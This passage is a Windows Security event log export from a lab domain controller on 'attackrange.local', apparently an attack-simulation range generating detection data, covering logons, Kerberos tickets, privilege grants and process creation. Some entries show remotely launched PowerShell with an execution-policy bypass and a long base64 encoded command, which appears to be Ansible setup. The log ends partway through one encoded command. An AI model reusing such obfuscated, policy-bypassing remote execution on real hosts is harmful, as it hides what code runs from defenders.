- SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251255 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12EB6A - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251254 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x12EB6A - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64513 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251253 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x12EB6A - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251252 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdb0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1128 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\w0dtvdde\w0dtvdde.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251251 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12E45E - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251250 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12E45E - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251249 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251248 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {00C2C944-BA79-362D-F776-9BBD2E4E8E56} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251247 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:41 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251246 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12CCB9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10c4 - New Process Name: C:\Windows\System32\chcp.com - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1128 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\system32\chcp.com" 65001 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251345 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130E65 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251344 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x130E65 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251343 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251342 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {6D98D746-6FBE-9454-9779-F3EB3AD55CE7} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251341 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251340 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1308 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10d4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAGcAQQA0AEEAQwA0AEEATgBBAEEAMQBBAEQAawBBAE0AZwBBADAAQQBDADAAQQBOAFEAQQA1AEEARABnAEEATQB3AEEAMwBBAEQAUQBBAE4AdwBBADIAQQBEAGsAQQBNAHcAQQAyAEEARABnAEEATwBRAEEAMgBBAEMAYwBBAEMAZwBCAFgAQQBIAEkAQQBhAFEAQgAwAEEARwBVAEEATABRAEIAUABBAEgAVQBBAGQAQQBCAHcAQQBIAFUAQQBkAEEAQQBnAEEAQwAwAEEAUwBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBFADgAQQBZAGcAQgBxAEEARwBVAEEAWQB3AEIAMABBAEMAQQBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQB1AEEARQBZAEEAZABRAEIAcwBBAEcAdwBBAFQAZwBCAGgAQQBHADAAQQBaAFEAQQBLAEEARQBrAEEAWgBnAEEAZwBBAEMAZwBBAEwAUQBCAHUAQQBHADgAQQBkAEEAQQBnAEEAQwBRAEEAUAB3AEEAcABBAEMAQQBBAGUAdwBBAGcAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEAUgB3AEIAbABBAEgAUQBBAEwAUQBCAFcAQQBHAEUAQQBjAGcAQgBwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEkAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEAQwAwAEEAUgBRAEIAeQBBAEgASQBBAGIAdwBCAHkAQQBFAEUAQQBZAHcAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAFUAdwBCAHAAQQBHAHcAQQBaAFEAQgB1AEEASABRAEEAYgBBAEIANQBBAEUATQBBAGIAdwBCAHUAQQBIAFEAQQBhAFEAQgB1AEEASABVAEEAWgBRAEEAcABBAEMAQQBBAGUAdwBBAGcAQQBHAFUAQQBlAEEAQgBwAEEASABRAEEASQBBAEEAawBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBmAFEAQQBnAEEARQBVAEEAYgBBAEIAegBBAEcAVQBBAEkAQQBCADcAQQBDAEEAQQBaAFEAQgA0AEEARwBrAEEAZABBAEEAZwBBAEQARQBBAEkAQQBCADkAQQBDAEEAQQBmAFEAQQA9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:42 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251339 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x12EEA9 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x133c - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAGcAQQA0AEEAQwA0AEEATgBBAEEAMQBBAEQAawBBAE0AZwBBADAAQQBDADAAQQBOAFEAQQA1AEEARABnAEEATQB3AEEAMwBBAEQAUQBBAE4AdwBBADIAQQBEAGsAQQBNAHcAQQAyAEEARABnAEEATwBRAEEAMgBBAEMAYwBBAEMAZwBCAFgAQQBIAEkAQQBhAFEAQgAwAEEARwBVAEEATABRAEIAUABBAEgAVQBBAGQAQQBCAHcAQQBIAFUAQQBkAEEAQQBnAEEAQwAwAEEAUwBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBFADgAQQBZAGcAQgBxAEEARwBVAEEAWQB3AEIAMABBAEMAQQBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQB1AEEARQBZAEEAZABRAEIAcwBBAEcAdwBBAFQAZwBCAGgAQQBHADAAQQBaAFEAQQBLAEEARQBrAEEAWgBnAEEAZwBBAEMAZwBBAEwAUQBCAHUAQQBHADgAQQBkAEEAQQBnAEEAQwBRAEEAUAB3AEEAcABBAEMAQQBBAGUAdwBBAGcAQQBFAGsAQQBaAGcAQQBnAEEAQwBnAEEAUgB3AEIAbABBAEgAUQBBAEwAUQBCAFcAQQBHAEUAQQBjAGcAQgBwAEEARwBFAEEAWQBnAEIAcwBBAEcAVQBBAEkAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEAQwAwAEEAUgBRAEIAeQBBAEgASQBBAGIAdwBCAHkAQQBFAEUAQQBZAHcAQgAwAEEARwBrAEEAYgB3AEIAdQBBAEMAQQBBAFUAdwBCAHAAQQBHAHcAQQBaAFEAQgB1AEEASABRAEEAYgBBAEIANQBBAEUATQBBAGIAdwBCAHUAQQBIAFEAQQBhAFEAQgB1AEEASABVAEEAWgBRAEEAcABBAEMAQQBBAGUAdwBBAGcAQQBHAFUAQQBlAEEAQgBwAEEASABRAEEASQBBAEEAawBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFI